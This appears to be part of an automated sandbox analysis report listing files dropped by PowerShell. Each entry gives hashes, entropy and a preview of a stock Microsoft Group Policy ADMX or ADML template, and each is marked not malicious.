SHA-256:	90EA32ED96670418A3376811075AD783B78A4DECF992CEA99CEA8B7249ADAF9A
SHA-512:	E36102507AD33B2DC8F210A02E9A8498BCCDE00C137E0A163E9076E02BA01991C6AD16BC53453524016C673C9EFDB62F1CA0D0C7ABD385C7FFB60949453A84A2
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="windowsmediadrm" namespace="Microsoft.Policies.DigitalRights2" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WMDRMCat" displayName="$(string.WMDRMCat)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="DisableOnline" class="Machine" displayName="$(string.DisableOnline)" explainText="$(string.DisableOnlineExplain)" key="Software\Policies\Microsoft\WMDRM" valueName="DisableOnline">.. <parentCategory ref="WMDRMCat" />.. <sup

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsMediaPlayer.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (348), with CRLF line terminators
Category:	dropped
Size (bytes):	22974
Entropy (8bit):	4.771284527010467
Encrypted:	false
SSDEEP:	384:MwjkGQRj4s/Ky/NjWow/3Wny891dqU9NlpTlVrkDOj73P109aEgrkDOj7VC1IfG4:EX7y0P/rU593uKC
MD5:	9A3C32D543BE72D2BB3C90F38FEA39F2
SHA1:	6B82F655ED553F1974E9988A77B0874E97767040
SHA-256:	3245240CFC768E6660176A1C7E83C2B15A9E6F9E3F21BED98940D9413D655FB7
SHA-512:	9BA80B2630B126C64180A4BB695AB832BC2097828010BC61FACC0E207AC1165BE25D6772EA0529FBFFE1E1AB50A769CC186E11062552718E1517967C152E9D50
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. revision="1.1" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="wmplayer" namespace="Microsoft.Policies.MediaPlayer" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="products" namespace="Microsoft.Policies.Products" />.. </policyNamespaces>.. <supersededAdm fileName="wmplayer.adm" />.. <resources minRequiredRevision="1.0" />.. .. <supportedOn>.. <definitions>.. Windows Media Player 9 Series and later.-->.. <definition name="SUPPORTED_WMP9" displayName="$(string.SUPPORTED_WMP9)">.. <or>.. <range ref="products:WindowsMediaPlayer" minVersionIndex="9" />.. </or>.. </definition>.. ..

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsMessenger.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2903
Entropy (8bit):	5.1600905152642085
Encrypted:	false
SSDEEP:	48:3geDw08gmDobfSofHKnKDC1Q5dA5eQDPgBNmddY+QDPgBNmdSA+DQDP9BNmdS1jS:QeD/mDobqovKnKr5QbhdsbhdRbYdXbYq
MD5:	58519484A7334577A272757F665B93A9
SHA1:	2E1865BF1B941E9C7EE5A82B615A77CCC795FF2F
SHA-256:	B3642314E47549AB52210FE9154830BB89857706072095322650AA982633529B
SHA-512:	9E4B3C38A39334A7A7586B4E8DDA085FB7889835DAFA45769868E3F7205420B19FFDBC8DF96F45A92FC12C3812FE4EEBD04C380D43E04C1E87158F89116A20FA
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="windowsmessenger" namespace="Microsoft.Policies.WindowsMessenger" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WinMSG_WindowsMsg" displayName="$(string.WinMSG_WindowsMsg)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="WinMSG_NoAutoStartWindowsMsg_Comp" class="Machine" displayName="$(string.WinMSG_NoAutoStartWindowsMsg_Comp)" explainText="$(string.WinMSG_NoAutoStartWindowsMsg_Help)" key="Software\Policies\Microsoft\Messenger\Cl

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsProducts.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	9257
Entropy (8bit):	5.066764191852675
Encrypted:	false
SSDEEP:	96:QeD3DEOoOCXm0xbCO1G9BpspO+7b0fNokOr8Dzlb03rMOjkLki7qb08P3OGjgbYs:jL9X0R5ZCfN8C
MD5:	B71FF979ED5C57B3B5637CFEFDCBBBD1
SHA1:	73F405C2E9A240D3CA882E7C9952E66476C5CFD7
SHA-256:	763AD004537B97E77B7E56F1E6F629C782A7626D5C68AB90C364D01E3D85B318
SHA-512:	FBCD5D1245F1A4F96EF289601E4BA13ABF904805E94ABE302B9B85A43DF8D94A5A01732FE19044A484EE6621F2CA5A818DB2589EF5683BE4C2B808D96FCD3AD2
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="products" namespace="Microsoft.Policies.Products" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.... <supportedOn>.. <products>.. Microsoft Windows -->.. <product name="MicrosoftWindows" displayName="$(string.MicrosoftWindows)">.. <majorVersion name="MicrosoftWindows2000" displayName="$(string.MicrosoftWindows2000)" versionIndex="1">.. <minorVersion name="MicrosoftWindows2000_RTM" displayName="$(string.MicrosoftWindows2000_RTM)" versionIndex="0"/>.. <minorVersion name="MicrosoftWi

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsRemoteManagement.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	10530
Entropy (8bit):	4.998493942649387
Encrypted:	false
SSDEEP:	192:vYoG2SC8mzuPQ63E00isKOdp3ql5yq5KNfEfknGI6+XVy:cC8mzuPQ63E0J4pM5yq5Kh4knGI6+XVy
MD5:	87E6E6C38F00F7D6712C3C7DB37B3EAA
SHA1:	97AC4245FB52FF6575D91706F2DF052B5D171DF0
SHA-256:	DD5311D2A43657115EE46D221AD0A674818C2729F5130B7497D9333DA7464D48
SHA-512:	AB94A426CA4EF1EABCF29A93B1A53BF2B44CE02FC7F535879DE95EC81F293B6887B45C837DA2FFF979DAE3B51F4E852726FA9D34779E06C484981E06C982E023
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="windowsremotemanagement" namespace="Microsoft.Policies.WindowsRemoteManagement" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WinRM" displayName="$(string.WinRM)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. <category name="WinRMClient" displayName="$(string.WinRMClient)">.. <parentCategory ref="WinRM" />.. </category>.. <category name="WinRMService" displayName="$(string.WinRMService)">.. <parentCategory ref="WinRM" />.. </category>.. </categories>..

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsRemoteShell.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	4338
Entropy (8bit):	5.17453297220449
Encrypted:	false
SSDEEP:	96:QeD/mDoEPLovKnKx59XLMdgiw+3iI1IJ7CSiwNe4m1Iiw1k3iU16hiw9OiU1miwp:vYoqLk37Z+tCcFgud4j9gyoVmGDC
MD5:	35623349078EAA8F139B7A6217962802
SHA1:	6F2576D37DD6427A0C288FC64D69B7A1A2197C08
SHA-256:	5CFC6AE24D9AC9D0669E99838C09A7EFFA42D7678E8924E4C922F1084A4FCFE7
SHA-512:	ED49B50422DE533431BF5E88BCA70812BA0DA3514D7CB8248BCADE033EE76B9C8597C3DD14F0D04D1DBC13258D3D1C5CEB98B7FD4089842C07E8ACF591C96E6A
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="winrs" namespace="Microsoft.Policies.WindowsRemoteShell" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WinRS" displayName="$(string.WinRS)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="AllowRemoteShellAccess" class="Machine" displayName="$(string.AllowRemoteShellAccess)" explainText="$(string.AllowRemoteShellAccess_Help)" key="Software\Policies\Microsoft\Windows\WinRM\Service\WinRS" valueName="AllowRemoteShellAccess">.. <

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsServer.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1314
Entropy (8bit):	5.169503465747804
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKtik6f1s6f53+ly+19iuUdMeo9ZXGduUdMeneNcK9lKshFd:3geDw08gmDt5frfEjNeaZXGcNeneSKnh
MD5:	5C92B84C84B6A0A84E4740D36900C83A
SHA1:	9BD90D42466DACFE77CE265F7AE06893F380A482
SHA-256:	2D9890B44D284E6B27F128ECE023752DF3AB17A478A98C2177D4DAE4137F7530
SHA-512:	7FF8687EDA51A5847B0DB116A339003880F35D27E888EC4E350102E8F6E9F93928AD13D4C128FD3C5BCB742EE3795F9F52D95F0CB13E45AC60FEB3B92A020855
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="server" namespace="Microsoft.Policies.Server" />.. <using prefix="products" namespace="Microsoft.Policies.Products" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <supportedOn>.. <definitions>.. At least Windows Server 2008-->.. <definition name="SUPPORTED_WindowsServer2008" displayName="$(string.SUPPORTED_WindowsServer2008)">.. <or>.. <range ref="products:MicrosoftWindows" minVersionIndex="5"/>.. </or>.. </definition>.. <definition name="SUPPORTED_WindowsServer2003R2" displayName="$(string.SUPPORTED_WindowsServer2003R2)">.. <or>.. <range ref

C:\Users\user\AppData\Local\Temp\file\Resource\WindowsUpdate.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (325), with CRLF line terminators
Category:	dropped
Size (bytes):	25222
Entropy (8bit):	4.912171221159928
Encrypted:	false
SSDEEP:	384:KwdeFTTQ/Q+QdaCeU6QHKHmY1GNRnQpQ3g1FVc4IQKdiKua/gQ2UQNkQesQc0QoF:Kw0FVdtxbRpVbg7+g9X3ZxXFA6DAT
MD5:	F545FF2650B1229D4F5B35BF1F1B6874
SHA1:	6C2682EBAC6078149CDF0A5A6F18802E113D0EAE
SHA-256:	8F6920DC328B245CEC0107DA295B5CCD0588566233B8E30A2574CC56FFE32C72
SHA-512:	03BDECC84488059E69390E60AE301368E25DB42F016F344A418AB4A1D187E1C90CA4C2E956D1CBBAB5122A793FC67B64D111D48D7A9ADEC8BE8450E57EEC9912
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="wuau" namespace="Microsoft.Policies.WindowsUpdate" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <supersededAdm fileName="wuau.adm" />.. <resources minRequiredRevision="1.0" />.... <supportedOn>.. .. For product definitions (products:MicrosoftABC) please consult:.. //depot/winmain/ds/grouppolicy/PolicyDefinitions/WindowsProducts.admx.. .. For windows policy definitions (windows:XYZ):.. //depot/winmain/ds/grouppolicy/PolicyDefinitions/windows.admx .. //depot/winmain/ds/grouppolicy/PolicyDefinitions/WindowsServer.admx.. -->.. <

C:\Users\user\AppData\Local\Temp\file\Resource\Winsrv.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1342
Entropy (8bit):	5.19538359211181
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKtQum/6fdc0s6fE3+dK9lKizOpKjcp/zdV7V/NZOqRe++2K:3geDw08gmDnumCfdcofHKnKiz25pzdV2
MD5:	B28573159BDEA736F3BDFF16604A4AD3
SHA1:	841DF32B7BED5EB01985B521F01931C2F1F6F4F4
SHA-256:	253011F5255EF7E5B271A9F813D68D8872D86ABEF9FFD0465B5419B309B35C14
SHA-512:	83EE79F6A392377BB9DDDC339E65920AE3E96A2F1FA75C49D645127C3F18C98FA921E75ACFE6DCD7AD9069E91CBEE8CE7DE4CF42A3D42E02FC51C89F19FF59BB
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="blockedshutdownresolver" namespace="Microsoft.Policies.ShutdownResolver" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="ShutdownOptions" displayName="$(string.ShutdownOptions)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="AllowBlockingAppsAtShutdown" class="Machine" displayName="$(string.AllowBlockingAppsAtShutdown)" explainText="$(string.AllowBlockingAppsAtShutdown_Explain)" key="Software\Policies\Microsoft\Windows\System" valueName="All

C:\Users\user\AppData\Local\Temp\file\Resource\WordWheel.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1406
Entropy (8bit):	5.13913545836272
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKt76fZ0s6fE3+dK9lKkcpKjcptPmV18uF4i9BeywbaMPaMo:3geDw08gmDffZofHKnKkQ5r+I9iLpwmR
MD5:	69DD9BB743B7FBF1497660113B377298
SHA1:	66B9A51F846D3CB633EFE1A7828EC9FACE9291E3
SHA-256:	5AF309C75DECD8E1529D8D15539282B649B039BEFF935E96651CCFF51DF3048D
SHA-512:	1C4DC8167BD8C85FDC60B94EAF129BFB67F359DBA2E2411E8D354BE5D1B2D83AB43E006FB729BC77C3453E09920E58CA341778504B0514515569F6D7B7F97AC8
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="wordwheel" namespace="Microsoft.Policies.WordWheel" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WordwheelPolicies" displayName="$(string.WordwheelPolicies)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="CustomSearch" class="User" displayName="$(string.CustomSearch)" explainText="$(string.CustomSearch_Explain)" presentation="$(presentation.CustomSearch)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\SearchEx

C:\Users\user\AppData\Local\Temp\file\Resource\WorkFolders-Client.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2376
Entropy (8bit):	5.0998274185342
Encrypted:	false
SSDEEP:	48:3geDw08gmDCfOofHKnKh2Q5Ji09A1z7koWd+Si09+aft0oowwDYq+O5C:QeD/mDCGovKnKJ5Ji0K1z7Odji0ki0Ef
MD5:	473B782CB648710CFAAF9EA7C670E3A5
SHA1:	A8414FF1C4E68E05AE38A34101BBA99FABA5404C
SHA-256:	002C2C0898CC71968E336C254C45F9CB9D4B88CCC54549B133D81CF3694FC341
SHA-512:	3C1C5766B29F3F3F1A24168875AEBA303E79A0A4E9A4E54F8E5CFFA5A92AA031254BC527602A695B0273E919FDD2055BD1DD425677A42A92887AABB926299D45
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="WorkFolders" namespace="Microsoft.Policies.WorkFolders" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Cat_WorkFolders" displayName="$(string.Cat_WorkFolders)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="Pol_MachineEnableWorkFolders" .. clientExtension="{4d968b55-cac2-4ff5-983f-0a54603781a3}" .. class="Machine" .. displayName="$(string.Pol_MachineEnableWorkFolders)" .. explainText="$

C:\Users\user\AppData\Local\Temp\file\Resource\WorkplaceJoin.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1276
Entropy (8bit):	5.16534721861007
Encrypted:	false
SSDEEP:	24:2d1Dwjo8gyt4+3FpKtT6fhu0s6fE3+dK9lKM+eVcpKjcppdAAqVUxoEKqine1+2K:c1Dw08giD9fAofHKnKoVQ55Afm3ieBq
MD5:	4A94B4F104AF2C09215EB52D7F84F748
SHA1:	5C414D468A0B571CA9FEC00364DD4E2A185DBE92
SHA-256:	5FABF5C534F78CE92BF7DAA6D4ADE2DD61002E689A8246928209BF38D7BF1BEE
SHA-512:	971A7F298FB6ECE17BD9E02D636988960B4955ED8C6E44D271F4405E06268B65DB6CE396CAEEB41113EF2D220418C7C0BD48F3DC5852DE76331EEC0307516AF4
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2013 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="10.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="WJ" namespace="Microsoft.Policies.WorkplaceJoin" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WorkplaceJoin" displayName="$(string.WJ_WorkplaceJoinCategory)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="WJ_AutoJoin" class="Machine" displayName="$(string.WJ_AutoJoin)" explainText="$(string.WJ_AutoJoinExplain)" key="Software\Policies\Microsoft\Windows\WorkplaceJoin" valueName="autoWorkplaceJoin">.. <parentCategory ref="Workp

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\ActiveXInstallService.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (403), with CRLF line terminators
Category:	dropped
Size (bytes):	5601
Entropy (8bit):	4.777090038504722
Encrypted:	false
SSDEEP:	48:cgeD5x8gm0fUsPXKn5o3OqALPLFS31U87GUkNAsGNuiYzXmoOX1mTXoWlIGe0FsC:LeD5pmKeC3G8SsuiYR1Pl7e0V4zZpBsV
MD5:	46876B1E6C8BA1FBF3ABC838CCF809B0
SHA1:	45CE70EDD0CA87A5920D43385066087DF134E30F
SHA-256:	F49428CABB6F6671D95EF214133100C268D2AB04DBF0F095DD08B0105ED9D8A7
SHA-512:	702C319B2D181753BE99D99C3DFF9F6C578934067C89A614E9E4B0A5DA6A0FB3545A3BA4986E12E9DA5DE8C6AF56780982D181A8D949A6E573AF725E2505DECA
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>ActiveX Installer Service</displayName>.. <description>Installs ActiveX controls from approved installation sites</description>.. <resources>.. <stringTable>.. <string id="AxInstSv">ActiveX Installer Service</string>.. <string id="AxISURLZonePolicies">Establish ActiveX installation policy for sites in Trusted zones</string> .. <string id="AxISURLZonePolicies_explain">This policy setting controls the installation of ActiveX controls for sites in Trusted zone. ....If you enable this policy setting, ActiveX controls are installed according to the settings defined by this policy setting. .. ..If you disable or do not configure t

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\AddRemovePrograms.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (496), with CRLF line terminators
Category:	dropped
Size (bytes):	10736
Entropy (8bit):	4.664813059485856
Encrypted:	false
SSDEEP:	192:Eyvs59wT2mCtKNSMRdMi4LBDZDHZEzT+ygx5LDkFdzj9nWyihWhqeGzpbeEKJ28m:ZvyiCDdyTO54zj9na8hqe6pbeEK5jq
MD5:	DFE20A0CA8674D6EAEA280C139E2688A
SHA1:	97027B92D40F5029FF296A9EA3105B775B50C209
SHA-256:	C97CD236F8BE2B235685D3D16632482839208604DB3F550F9524EAFDA33B9CA9
SHA-512:	120C45BD17045B6F3D4A9295E1888D81FFA99ED0F1D146AA2EEC387C1187EEF8C718179771BC0CDBE01A37A487D933F55C92F6F37954F392F007CBFAA2AEC877
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Arp">Add or Remove Programs</string>.. <string id="DefaultCategory">Specify default category for Add New Programs</string>.. <string id="DefaultCategory_Help">Specifies the category of programs that appears when users open the "Add New Programs" page.....If you enable this setting, only the programs in the category you specify are displayed when the "Add New Programs" page opens. Users can use the Category box on the "Add New Programs" page to display programs in other categories.....To use this setting,

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\AppCompat.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (565), with CRLF line terminators
Category:	dropped
Size (bytes):	10119
Entropy (8bit):	4.722381803392372
Encrypted:	false
SSDEEP:	192:EsMVhCuGKXl6hIAtZUqxw66Utw0Uvk3EUN2X/TDcvEn:J/uX6GAjj6mcvk3EUN2XXcvQ
MD5:	93C28840D18ED15AF63308926F5AAC66
SHA1:	5ED7A8056F1E8A68FEA17C6EF81B695DF8A3EA70
SHA-256:	0AC43A8DF0E8795968C0F9B6ECC6FBF620B761C128545AD689EEC5DFF21F5F1D
SHA-512:	653B9905DC0BBDE62F06EFA1C613F4E4A0823331D31D396DB0226FDB41A9AD4D148C1B5DABFA0CA64A74156F5AD446428F3344FFE75828A7C8225D3F0D214758
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AppCompat">Application Compatibility</string>.. <string id="AppCompat_Prevent16BitMach_Help">Specifies whether to prevent the MS-DOS subsystem (ntvdm.exe) from running on this computer. This setting affects the launching of 16-bit applications in the operating system.....You can use this setting to turn off the MS-DOS subsystem, which will reduce resource usage and prevent users from running 16-bit applications. To run any 16-bit application or any application with 16-bit components, ntvdm.exe must be allowed

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\AppXRuntime.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (394), with CRLF line terminators
Category:	dropped
Size (bytes):	4462
Entropy (8bit):	4.744620806615911
Encrypted:	false
SSDEEP:	96:jJpm5IJUVaBfgHt6kNEmB+kClbNpbj03V:Xc3AIHF20F
MD5:	BF19DB2E91EDEFE517515BA23B30103E
SHA1:	324D98B315D7F8E096D8D61505610706D0C73856
SHA-256:	42778994D23CDB74C446E70C30942991E89DF6AACC1225AEBB05464D69DA6DEC
SHA-512:	9C193CD9597F90913643CDD2079E36930E60B6AB539D96BA0D5DA7EA2B5DDE0B78D7451D0A4AC37CBBB8A90C548285FBF640099EDA949665E186586D893ADB14
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Copyright (C) Microsoft. All rights reserved. -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>App runtime</displayName>.. <description>App runtime policies</description>.. <resources>.. <stringTable>.. <string id="AppxRuntime">App runtime</string>.. <string id="AppxRuntime_Help">Contains settings to manage the behavior of Windows Store apps.</string>.. <string id="AppxRuntimeBlockFileElevation">Block launching desktop apps associated with a file.</string>.. <string id="AppxRuntimeBlockFileElevationExplanation">This policy setting lets you control whether Windows Store apps can open files using the default desktop app for a file type. Because desktop apps run at a higher integrity level than Windows Store apps

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\AppxPackageManager.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3093
Entropy (8bit):	4.7903363478779735
Encrypted:	false
SSDEEP:	48:c0Jx8gm9JcfSB2W27u0jX9X/f4kvqGbRG4QXzgtWFV:jJpm9Jc62Dv5bRjWFV
MD5:	B182F0B429A84D7E97C3D50EADF154A5
SHA1:	87DDA04EDCFE5E6C22F0224D9EE8375E0920B7F6
SHA-256:	5CD8B222AECBDEAC3DF2DE6B774AF7E02988981136F6E5E9CD3D12735C6A6416
